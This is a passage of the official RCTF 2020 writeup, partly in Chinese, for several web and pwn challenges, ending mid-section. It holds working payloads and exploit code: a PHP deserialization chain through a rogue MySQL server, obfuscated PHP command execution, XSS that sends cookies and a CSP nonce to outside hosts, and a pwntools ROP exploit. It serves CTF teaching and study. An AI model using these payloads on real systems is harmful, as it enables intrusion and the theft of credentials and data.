RCTF 2020 Official Writeup

WEB

Swoole

Payload

在Swoole里跑:

<?php
function changeProperty ($object, $property, $value)
{
    $a = new ReflectionClass($object);
    $b = $a->getProperty($property);
    $b->setAccessible(true);
    $b->setValue($object, $value);
}

// Part A

$c = new \Swoole\Database\PDOConfig();
$c->withHost('ROUGE_MYSQL_SERVER');    // your rouge-mysql-server host & port
$c->withPort(3306);
$c->withOptions([
    \PDO::MYSQL_ATTR_LOCAL_INFILE => 1,
    \PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'
]);

$a = new \Swoole\ConnectionPool(function () { }, 0, '\\Swoole\\Database\\PDOPool');
changeProperty($a, 'size', 100);
changeProperty($a, 'constructor', $c);
changeProperty($a, 'num', 0);
changeProperty($a, 'pool', new \SplDoublyLinkedList());

// Part C

$d = unserialize(base64_decode('TzoyNDoiU3dvb2xlXERhdGFiYXNlXFBET1Byb3h5Ijo0OntzOjExOiIAKgBfX29iamVjdCI7TjtzOjIyOiIAKgBzZXRBdHRyaWJ1dGVDb250ZXh0IjtOO3M6MTQ6IgAqAGNvbnN0cnVjdG9yIjtOO3M6ODoiACoAcm91bmQiO2k6MDt9'));
// This's Swoole\Database\MysqliProxy
changeProperty($d, 'constructor', [$a, 'get']);

$curl = new \Swoole\Curl\Handler('http://www.baidu.com');
$curl->setOpt(CURLOPT_HEADERFUNCTION, [$d, 'reconnect']);
$curl->setOpt(CURLOPT_READFUNCTION, [$d, 'get']);

$ret = new \Swoole\ObjectProxy(new stdClass);
changeProperty($ret, '__object', [$curl, 'exec']);


$s = serialize($ret);
$s = preg_replace_callback('/s:(\d+):"\x00(.*?)\x00/', function ($a) {
    return 's:' . ((int)$a[1] - strlen($a[2]) - 2) . ':"';
}, $s);

echo $s;
echo "\n";

解释

我找到的唯一的一个能传参的函数只有这个:https://github.com/swoole/library/blob/8eebda9cd87bf37164763b059922ab393802258b/src/core/ConnectionPool.php#L89

$connection = new $this->proxy($this->constructor);

我又检查了一遍所有的constructor,只有MySQL还算有点用。那题就这么出好了。

Part 1 – Rouge MySQL Server

我们先回顾一下Rouge MySQL Server的原理。当客户端向服务器发送一个类型为COM_QUERY的包来进行SQL查询时,若服务器返回一个Procotol::LOCAL_INFILE_Request请求,则客户端会读取本地文件并发送到服务器。https://dev.mysql.com/doc/internals/en/com-query-response.html#packet-Protocol::LOCAL_INFILE_Request

这意味着,如果MySQL客户端连接以后,如果没有进行任何一句包括SELECT @@version之类的查询,客户端是完全不会响应服务器的LOCAL INFILE请求的。有许多客户端,例如MySQL命令行,连接之后就会向服务器查询各类参数。但PHP的MySQL客户端连接之后是什么都不会做的,因此我们需要给MySQL客户端配置MYSQL_ATTR_INIT_COMMAND参数,让它连接之后自动向服务器发送一条SQL语句。

另外,在我使用的这个Swoole版本中,若使用mysqli,则会无视所有连接参数(见我给Swoole提的Bug:https://github.com/swoole/library/issues/34 ),因此这里只能使用PDO的MySQL类。这就是

$c->withOptions([
    \PDO::MYSQL_ATTR_LOCAL_INFILE => 1,
    \PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'
]);

的原因

Part 2 – SplDoublyLinkedList

读读这段代码: https://github.com/swoole/library/blob/8eebda9cd87bf37164763b059922ab393802258b/src/core/ConnectionPool.php#L57

    public function get()
    {
        if ($this->pool->isEmpty() && $this->num < $this->size) {
            $this->make();
        }
        return $this->pool->pop();
    }
    public function put($connection): void
    {
        if ($connection !== null) {
            $this->pool->push($connection);
        }
    }

$this->pool的类型是Swoole\Coroutine\Channel,但这个类不可被序列化。不过PHP没有运行时类型检查,找一个实现了同样接口的类就可以了。PHP的SPL 中包含着许多这样的类,例如SplStack / SplQueue等等。

Part 3 – curl

回头看Part C这个注释所在的代码,你可以在这里调用$a->get(),它会返回一个Swoole\Database\PDOPool。这是一个连接池,只有当我们要连接的时候,这个连接池才会创建连接。因此这里实际需要调用$a->get()->get()。但我们没有办法进行链式调用。不过,看看这里:PDOProxy::reconnect(https://github.com/swoole/library/blob/8eebda9cd87bf37164763b059922ab393802258b/src/core/Database/PDOProxy.php#L88):

public function reconnect(): void
{
    $constructor = $this->constructor;
    parent::__construct($constructor());
}
public function parent::__construct ($constructor)
{
    $this->__object = $object;
}
public function parent::__invoke(...$arguments)
{
    /** @var mixed $object */
    $object = $this->__object;
    return $object(...$arguments);
}

这说明,__object会在连接之后被改变。因此我们只需要找到一个办法能连续调用以下这两个函数:

$a->reconnect(); // typeof this->__object = PDOPool
$a->get();

回头看看curl,它正好允许两个不同的callback: https://github.com/swoole/library/blob/8eebda9cd87bf37164763b059922ab393802258b/src/core/Curl/Handler.php#L736

$cb = $this->headerFunction;
if ($client->statusCode > 0) {
    $row = "HTTP/1.1 {$client->statusCode} " . Status::getReasonPhrase($client->statusCode) . "\r\n";
    if ($cb) {
        $cb($this, $row);
    }
    $headerContent .= $row;
}
// ...
if ($client->body and $this->readFunction) {
    $cb = $this->readFunction;
    $cb($this, $this->outputStream, strlen($client->body));
}
Part 4 – Inaccessible properties

这个大家应该都见过了。我们考虑以下代码:

php > class A{public $b;protected $c;}
php > $b = new A();
php > var_dump(serialize($b));
php shell code:1:
string(35) "O:1:"A":2:{s:1:"b";N;s:4:"\000*\000c";N;}"
php >

private/protected的属性在序列化时会被\x00包裹,可见 zend_mangle_property_name. 不过我把\x00ban了。你可以直接对其进行unmangle。

$s = preg_replace_callback('/s:(\d+):"\x00(.*?)\x00/', function ($a) {
    return 's:' . ((int)$a[1] - strlen($a[2]) - 2) . ':"';
}, $s);

在PHP < 7.2时,很显然这是不可行的:

php > var_dump($s);
string(32) "O:1:"A":2:{s:1:"b";N;s:1:"c";N;}"
php > var_dump(unserialize($s));
object(A)#2 (3) {
  ["b"]=>
  NULL
  ["c":protected]=>
  NULL
  ["c"]=>
  NULL
}

但在PHP 7.2以及以上版本中,由于这个commit的缘故,all works fine:Fix #49649 – Handle property visibility changes on unserialization

非预期

来自Nu1L

```php
$o = new Swoole\Curl\Handlep("http://google.com/");
$o->setOpt(CURLOPT_READFUNCTION,"array_walk");
$o->setOpt(CURLOPT_FILE, "array_walk");
$o->exec = array('whoami');
$o->setOpt(CURLOPT_POST,1);
$o->setOpt(CURLOPT_POSTFIELDS,"aaa");
$o->setOpt(CURLOPT_HTTPHEADER,["Content-type"=>"application/json"]);
$o->setOpt(CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_1);

$a = serialize([$o,'exec']);
echo str_replace("Handlep","Handler",urlencode(process_serialized($a)));


// process_serialized:
// use `S:` instead of `s:` to bypass \x00

rBlog 2020

https://blog.cal1.cn/post/RCTF%202020%20rBlog%20writeup

Calc

这是基于RoarCTF-2019的modSecurity而改的, 修正了原先modSecurity的漏洞.

<?=(((1.1).(1)){1})?> // .
<?=(((-1).(1)){0})?> // -
<?=(((10000000000000000000).(1)){4});?> // +
<?=(((10000000000000000000).(1)){3});?> // E

可以通过以上几种基础符号,通过&, |, ~构建其他的字符。

题目中断外网,并且需要/readflag,即需要一个shell. 进行命令执行.
有几种方式
* system(end(getallheaders()));
* system(file_get_contents(“php://input”)); //来自 More Smoked Leet Chicken
* 把脚本内容写到一个文件, 最后执行 // 好多队伍都这样写

这里给出system(end(getallheaders()));的payload;

<?php 
$a ='';
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(3)){1}));
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(9)){1}));
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(3)){1}));
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}));
$a .= (((10000000000000000000).(1)){3});
$a .= ((((10000000000000000000).(1)){3})|(((-1).(1)){0}));
echo $a; //systEm
?>

<?php 
$a ='';
$a .= (((10000000000000000000).(1)){3}); // E
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(6)){1}))); //n
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(6)){1}))); //D
echo $a; //EnD
?>

<?php // getallheaders
$a ='';
$a .= ((((10000000000000000000).(1)){3})|(((1.1).(1)){1})&((~(((1).(8)){1})|(((1).(7)){1})))); // g
$a .= (((10000000000000000000).(1)){3}); // E
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1})); //T
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(1)){1}))); //a
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}))); // l
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}))); // l
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1}))); // h
$a .= (((10000000000000000000).(1)){3}); // E
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(1)){1}))); //a
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}))); //D
$a .= (((10000000000000000000).(1)){3}); // E
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(2)){1})); // r
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(3)){1})); // s
echo $a;
?>

最后需要过/readflag的验证码, 选手大多使用Perl, 也可以通过 php -r ""的方式执行.

php -r "eval(base64_decode('JHByb2Nlc3MgPSBwcm9jX29wZW4oDQogJy9yZWFkZmxhZycsDQogW1sicGlwZSIsICJyIl0sWyJwaXBlIiwgInciXSxbInBpcGUiLCAidyJdXSwkcGlwZXMNCik7DQpmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KJGV4cCA9IGZyZWFkKCRwaXBlc1sxXSwgMTAyNCk7DQokZXhwID0gZXhwbG9kZSgiXG4iLCAkZXhwKVswXTsNCmZ3cml0ZSgkcGlwZXNbMF0sIGV2YWwoInJldHVybiAkZXhwOyIpLiJcbiIpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0K'));"

最后结合起来

GET /calc.php?num=(((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(3))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(9))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(3))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D)).(((10000000000000000000).(1))%7B3%7D).((((10000000000000000000).(1))%7B3%7D)%7C(((-1).(1))%7B0%7D)))(((((10000000000000000000).(1))%7B3%7D).(((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D))%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(6))%7B1%7D))).((((10000000000000000000).(1))%7B3%7D)%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(6))%7B1%7D))))((((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D)%26((~(((1).(8))%7B1%7D)%7C(((1).(7))%7B1%7D)))).(((10000000000000000000).(1))%7B3%7D).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(1))%7B1%7D))).(((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D))%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D))).(((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D))%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D))).(((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D))%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(0))%7B1%7D))).(((10000000000000000000).(1))%7B3%7D).((((10000000000000000000).(1))%7B3%7D)%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(1))%7B1%7D))).((((10000000000000000000).(1))%7B3%7D)%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D))).(((10000000000000000000).(1))%7B3%7D).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(2))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(3))%7B1%7D)))()))%3B HTTP/1.1
Host: 124.156.140.90:8081
z: php -r "eval(base64_decode('JHByb2Nlc3MgPSBwcm9jX29wZW4oDQogJy9yZWFkZmxhZycsDQogW1sicGlwZSIsICJyIl0sWyJwaXBlIiwgInciXSxbInBpcGUiLCAidyJdXSwkcGlwZXMNCik7DQpmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KJGV4cCA9IGZyZWFkKCRwaXBlc1sxXSwgMTAyNCk7DQokZXhwID0gZXhwbG9kZSgiXG4iLCAkZXhwKVswXTsNCmZ3cml0ZSgkcGlwZXNbMF0sIGV2YWwoInJldHVybiAkZXhwOyIpLiJcbiIpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0K'));"

EasyBlog

这题就是一个CSP gadget. 算是一个比较小众的利用.
源码

根据上面代码, zepto中对于内嵌的script标签会自动的使用eval执行, 验证方式为toUpperCase, 这个函数有个小特性可以使用ı来替代i. 最终只要使用<scrıpt>js代码 就可以执行.
所以, 使用下面方式就可以获得管理员cookie, 得到flag

<scrıpt>location.href="http://ip:port/?"+document.cookie</scrıpt>

Zepto.js 已经好久没更新了, 不会有人还在用Zepto吧, 不会把.

chowder_cross

步骤一

Cookie 中有 hint=flag_is_in_flag.php,查看 flag.php 发现要拿到 flag ,必须由 bot 访问flag.php?f 才可以。

我们可以提交任意XSS payload,但测试发现,src、dataurl、javascript、alert、prompt、frame、image等会被过滤,script 标签中的内容由于 CSP 无法执行。但 CSP 中的 nonce 对于每个用户来说是不变的。img-src http://124.156.139.238/ 非常可疑。

根据提示,可以总结以下几点:

1.img-src 的值与URL有关;
2.我们需要拿到管理员的 nonce 才可以执行任意代码;
3.bot 用的是 Firefox74.0(重要)

简单测试后发现,我们可以改变路径向 CSP 中注入内容,比如

http://124.156.139.238/+*;SCRIPT-src-elem 'unsafe-inline';/?action=...
==>
image-src http://124.156.139.238/ *;SCRIPT-src-elem 'unsafe-inline';/;

这样可以执行 script 标签中的代码了,但是发现 Feedback 里对请求 URL 做了更严格的过滤 script、report 等关键词都被过滤了,还有什么方法可以 leak nonce 呢?这时,Firefox 相比 Chrome 在安全上做的不够好的地方出现了:在 firefox <=74.0 渲染页面时,Firefox 没有隐藏掉 scriptnonce 属性,这导致可以用css 选择器配合 background-url 的方式对 nonce 进行猜解。

可以利用工具:https://github.com/Szarny/c5517n 搭一个服务器。但递归引用进行猜解在 Firefox 上不能用,需要 http/2 才可以进行攻击所以采用这种方法 leak 时间会偏长。

或者参考如下文章一次性进行 leak CSS data exfiltration in Firefox via a single injection point

构造如下脚本:

const compression = require('compression')
const express = require('express');
const cssesc = require('cssesc');
const spdy = require('spdy');
const fs = require('fs');


const app = express();
app.set('etag', false);
app.use(compression());

const SESSIONS = {};

const POLLING_ORIGIN = `https://example.com:3000`;
const LEAK_ORIGIN = `https://example.com:3000`;

function urlencode(s) {
    return encodeURIComponent(s).replace(/'/g, '%27');
}

function createSession(length = 150) {
    let resolves = [];
    let promises = [];
    for (let i = 0; i < length; ++i) {
        promises[i] = new Promise(resolve => resolves[i] = resolve);
    }
    resolves[0]('');
    return { promises, resolves };
}

const CHARSET = Array.from('1234567890/=+QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm');
app.get('/polling/:session/:index', async (req, res) => {
    let { session, index } = req.params;
    index = parseInt(index);
    if (index === 0 || !(session in SESSIONS)) {
        SESSIONS[session] = createSession()
    }

    res.set('Content-Type', 'text/css');
    res.set('Cache-Control', 'no-cache');

    let knownValue = await SESSIONS[session].promises[index];

    const ret = CHARSET.map(char => {
        return `script[nonce^="${cssesc(knownValue+char)}"] ~ a { background: url("${LEAK_ORIGIN}/leak/${session}/${urlencode(knownValue+char)}")}`;
    }).join('\n');

    res.send(ret);

});

app.get('/leak/:session/:value', (req, res) => {
    let { session, value } = req.params;
    console.log(`[${session}] Leaked value: ${value}`);

    SESSIONS[session].resolves[value.length](value);
    res.status(204).send();
});

app.get('/generate', (req, res) => {
    const length = req.query.len || 100;
    const session = Math.random().toString(36).slice(2);

    res.set('Content-type', 'text/plain');
    for (let i = 0; i < length; ++i) {
        res.write(`<style>@import '${POLLING_ORIGIN}/polling/${session}/${i}';</style>\n`);
    }
    res.send();
});

const options = {
    key: fs.readFileSync('/etc/ssl/private/private.key'),
    cert:  fs.readFileSync('/etc/ssl/certs/full_chain.pem')
}


const PORT = 3000;
spdy.createServer(options, app).listen(PORT, () => console.log(`Example app listening on port ${PORT}!`))

需要注意的是:在 firefox leak nonce 的时候必须 ~ script 同级的标签才能够 leak 或是将 scriptcss 设为display: block; 让它能够正常显示才能成功,这里我们自己添加一个 a 标签,所以最终 payload 如下:

177

并给管理员发送如下/s xss.museljh.live:3000;style-src * 'unsafe-inline';/?action=post&id=9842371276eafb47f7d0ad7bef73ee25

最终在自己服务器上可以接收到如下的 nonce

步骤二

方法一

我们能在 post 页面任意执行代码了,但是发现 post 中的 js 几乎将所有可以调用的函数都替换成了noop 。我们不能创建元素,最多也就是可以对已有的一些元素进行修改,且不能设置 src 或者是 srcdoc 属性。而目标的flag.php?f,打开后发现是一个函数的形式,这提示我们需要将其作为代码引入。如何不使用 src 引入脚本,经过搜索发现,svg 中内部的 script 是使用 xlink:href 来指定脚本路径的,我们可以使用 innerHTML 动态注入一个 svg 进去。又由于 iframe 中的过滤相对于外面来说要松很多(只 noopFunction.prototype.toStringtoSource ),所以再在 svg 外面套一层 iframe 。通过iframe.src="data:..." 指定 iframe 的内容,这样指定后 src 属性会消失,不会违反src 的限制。具体实现方式如下:

svg 部分,引入 flag 并运用 svg 内联的 image 对外部图片资源发出请求,来带外数据。

<svg id="ss" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200px" height="200px" viewBox="0 0 200 200">
<image id="daiwai" width="50px" height="50px" xlink:href=""></image> <circle cx="50" cy="50" r="50"></circle>
 <script xlink:href="http://124.156.139.238/flag.php?f"></script><script nonce="bc36554eab55edbbbc04c995d733085a">
document.getElementById('daiwai').setAttribute("xlink:href","http://example.com/"+btoa(get_secret.toString()));
console.log(get_secret.toString()) </script>  </svg>

使用 script 将编码后的 svg 插入到一个 iframe 中,整体作为内容提交。一些内容被 waf 屏蔽掉了,用简单的字符串拼接绕过。

<div id="place"></div>
<script nonce="bc36554eab55edbbbc04c995d733085a">
place.innerHTML='<ifr'+'ame id="target"></ifr'+'ame>';
setTimeout(()=>{target['s'+'rc']="data:ima"+"ge/svg+xml;base64,PHN2ZyBpZD0ic3MiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIyMDBweCIgaGVpZ2h0PSIyMDBweCIgdmlld0JveD0iMCAwIDIwMCAyMDAiPgo8aW1hZ2UgaWQ9ImRhaXdhaSIgd2lkdGg9IjUwcHgiIGhlaWdodD0iNTBweCIgeGxpbms6aHJlZj0iIj48L2ltYWdlPiA8Y2lyY2xlIGN4PSI1MCIgY3k9IjUwIiByPSI1MCI+PC9jaXJjbGU+CiA8c2NyaXB0IHhsaW5rOmhyZWY9Imh0dHA6Ly8xMjQuMTU2LjEzOS4yMzgvZmxhZy5waHA/ZiI+PC9zY3JpcHQ+PHNjcmlwdCBub25jZT0iYmMzNjU1NGVhYjU1ZWRiYmJjMDRjOTk1ZDczMzA4NWEiPgpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGFpd2FpJykuc2V0QXR0cmlidXRlKCJ4bGluazpocmVmIiwiaHR0cDovL2V4YW1wbGUuY29tLyIrYnRvYShnZXRfc2VjcmV0LnRvU3RyaW5nKCkpKTsKY29uc29sZS5sb2coZ2V0X3NlY3JldC50b1N0cmluZygpKSA8L3NjcmlwdD4gIDwvc3ZnPg=="},100);
</script>

bot 提交 urlCSP 注入 image-src *frame-src data:

/ *;frame-src    data:     /  ?action=post&id=8354a6e9e4ad66938a83b034c04c1585

最后服务器收到结果:

GET /ZnVuY3Rpb24gZ2V0X3NlY3JldCgpeyAnUEQ5d2FIQUtKR1pzWVdjZ1BTQWlVa05VUm5zM1NrdDRWbVJMWVdGTlJEZGFhbnBOVmxoQ1VXeERPSEo5SWpzS0NnPT0nIH0=

方法二

覆盖正则函数,达到绕过 srcdoc 限制

RegExp.prototype.test = function(){return false};

最终在 iframe 中引入 script 进行 xssi

最终 payload 如下

<script nonce=bc36554eab55edbbbc04c995d733085a>RegExp.prototype.test = function(){return false};var a ="<ifra".concat("me sr","cdoc='\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x31\x32\x34\x2e\x31\x35\x36\x2e\x31\x33\x39\x2e\x32\x33\x38\x2f\x66\x6c\x61\x67\x2e\x70\x68\x70\x3f\x66\x3d\x31\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e\x3c\x73\x63\x72\x69\x70\x74\x20\x6e\x6f\x6e\x63\x65\x3d\x62\x63\x33\x36\x35\x35\x34\x65\x61\x62\x35\x35\x65\x64\x62\x62\x62\x63\x30\x34\x63\x39\x39\x35\x64\x37\x33\x33\x30\x38\x35\x61\x3e\x6c\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x68\x72\x65\x66\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x78\x73\x73\x2e\x6d\x75\x73\x65\x6c\x6a\x68\x2e\x6c\x69\x76\x65\x2f\x3f\x63\x6f\x6f\x6b\x69\x65\x3d\x22\x2b\x67\x65\x74\x5f\x73\x65\x63\x72\x65\x74\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'>");document.body.innerHTML=a;</script>

发送 url /;frame-src *;/?action=post&id=0aaf916cbd820bafc4c88fab90e0130e 给管理员

PWN

bf

c++写的一个brain fuck的解释器,程序用到的结构体:

struct brain_fck{
    char data[0x400];   // data
    string code;    // brain fuck code
};

程序的漏洞在'>'操作的一个off_by_one

t1wWlV.png

判断条件是v21 > &v25而不是 >=,正好可以读取或者修改brain_fck.code的低字节

brain_fck.code是个string类,string类的大致结构(当然我省略了大部分内容)为:

class string{
    char* ptr;
    size_t len;
    char buf[0x10];
}

string的长度小于16的时候是把字符串放在buf里的,即ptr指向的是自己的buf,超出16个字节的时候就会进行malloc了。

再回头看漏洞,我们可以修改brain_fck.code的低字节,也就是意味着我们能修改codeptr,在修改了ptr之后,我们就可以向ptr所指的内存写入数据或者读取数据,但是由于我们只能写一个字节,所以范围被限定在了[ptr&0,(ptr&0)+0xff]的范围内,不过这已经足够了。

因为一开始code是在栈上的,所以我们只要保证输入的brain fuck代码长度不超过16就能让ptr指向栈内存而不会被分配到堆上,在利用每次执行完代码的输出来泄露libc和栈地址,最后修改返回地址进行rop

为了确保exp的成功率,我们可以先泄露出brain_fck.code的低字节,在进行后续的攻击,最后返回的时候要修补一下brain_fck.code,不然析构函数可能会报错

exp:

from pwn import *
import sys

context.arch = 'amd64'

def write_low_bit(low_bit,offset):
    p.recvuntil("enter your code:\n")
    p.sendline(",[>,]>,")
    p.recvuntil("running....\n")
    p.send("B"*0x3ff+'\x00')
    p.send(chr(low_bit+offset))
    p.recvuntil("your code: ")
    p.recvuntil("continue?\n")
    p.send('y')
    p.recvuntil("enter your code:\n")
    p.sendline("\x00"*0xf)
    p.recvuntil("continue?\n")
    p.send('y')

def main(host,port=6002):
    global p
    if host:
        p = remote(host,port)
    else:
        p = process("./bf")

        # gdb.attach(p)
    # leak low_bit
    p.recvuntil("enter your code:\n")
    p.sendline(",[.>,]>.")
    p.send("B"*0x3ff+'\x00')
    p.recvuntil("running....\n")
    p.recvuntil("B"*0x3ff)
    low_bit = ord(p.recv(1))
    info(hex(low_bit))
    if low_bit + 0x70 >= 0x100: # :(
        sys.exit(0)
    # debug(0x000000000001C47)
    p.recvuntil("continue?\n")
    p.send('y')


    # leak stack
    p.recvuntil("enter your code:\n")
    p.sendline(",[>,]>,")
    p.recvuntil("running....\n")
    p.send("B"*0x3ff+'\x00')
    p.send(chr(low_bit+0x20))
    p.recvuntil("your code: ")
    stack = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00")) - 0xd8
    info("stack : " + hex(stack))
    p.recvuntil("continue?\n")
    p.send('y')
    # leak libc

    p.recvuntil("enter your code:\n")
    p.sendline(",[>,]>,")
    p.recvuntil("running....\n")
    p.send("B"*0x3ff+'\x00')
    p.send(chr(low_bit+0x38))
    p.recvuntil("your code: ")
    libc.address = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00")) - 0x21b97
    info("libc : " + hex(libc.address))
    p.recvuntil("continue?\n")
    p.send('y')

    # do rop

    # 0x00000000000a17e0: pop rdi; ret;
    # 0x00000000001306d9: pop rdx; pop rsi; ret;
    p_rdi = 0x00000000000a17e0 + libc.address
    p_rdx_rsi = 0x00000000001306d9 + libc.address
    ret = 0x00000000000d3d8a + libc.address
    p_rax = 0x00000000000439c8 + libc.address
    syscall_ret = 0x00000000000d2975 + libc.address

    rop_chain = [
        0,0,p_rdi,0,p_rdx_rsi,0x100,stack,libc.symbols["read"]
    ]

    rop_chain_len = len(rop_chain)

    for i in range(rop_chain_len-1,0,-1):
        write_low_bit(low_bit,0x57-8*(rop_chain_len-1-i))
        p.recvuntil("enter your code:\n")
        p.sendline('\x00'+p64(rop_chain[i-1])+p64(rop_chain[i])[:6])
        p.recvuntil("continue?\n")
        p.send('y')

    write_low_bit(low_bit,0)

    p.recvuntil("enter your code:\n")
    p.sendline('')
    p.recvuntil("continue?\n")
    p.send('n')


    payload = "/flag".ljust(0x30,'\x00')
    payload += flat([
        p_rax,2,p_rdi,stack,p_rdx_rsi,0,0,syscall_ret,
        p_rdi,3,p_rdx_rsi,0x80,stack+0x200,p_rax,0,syscall_ret,
        p_rax,1,p_rdi,1,syscall_ret
    ])

    p.send(payload.ljust(0x100,'\x00'))


    p.interactive()

if __name__ == "__main__":
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
    # elf = ELF("./bf",checksec=False)
    main(args['REMOTE'])

vm

这题没啥新的东西,程序唯一的输出点就是父进程会输出子进程的退出码,所以我们可以先读取flag,在用exit来一位一位的泄露出flag。

vm的结构体:

typedef struct{
    uint64_t r0;
    uint64_t r1;
    uint64_t r2;
    uint64_t r3;
    uint64_t r4;
    uint64_t r5;
    uint64_t r6;
    uint64_t r7;
    uint64_t* rsp;
    uint64_t* rbp;
    uint8_t* pc;
    uint32_t stack_size;
    uint32_t stack_cap;
}vm;

vm支持的操作

enum{
    OP_ADD = 0, //add
    OP_SUB,     //sub
    OP_MUL,     //mul
    OP_DIV,     //div
    OP_MOV,     //mov
    OP_JSR,     //jump register
    OP_AND,     //bitwise and
    OP_XOR,     //bitwise xor
    OP_OR,      //bitwise or
    OP_NOT,     //bitwise not
    OP_PUSH,    //push
    OP_POP,     //pop
    OP_JMP,     //jump
    OP_ALLOC,   //alloc new stack
    OP_NOP,     //nop
};

程序先读取0x1000长度的指令,接着check指令是否合法,并把指令的数量一起传入到run函数,run函数在开始执行

程序的check函数中,并没有对jmp类指令进行check,这就是漏洞所在,在看程序一开始对vm的初始化:

t1gaSH.png

stackpc之后分配,意味着stack在高地址,所以我们可以先把指令压到栈中,在利用jmp指令,跳到栈中执行我们的指令,这里的指令就没有进行check了,我们可以越界读写

利用步骤大致为:

  • 先把我们要执行的指令都压入vm的栈中,然后跳到栈中来执行
  • 把vm的栈的所在堆的大小改小,使得free之后不会和top_chunk进行合并,这样我们就可以利用堆上残留的libc地址
  • 利用堆上残留的libc地址,在配合add,sub,mov指令来进行任意地址写,修改__free_hooksetcontext+53
  • 最后触发free来劫持程序,利用ROP进行orw读取flag,并把flag每一位当成状态码调用exit函数

exp:

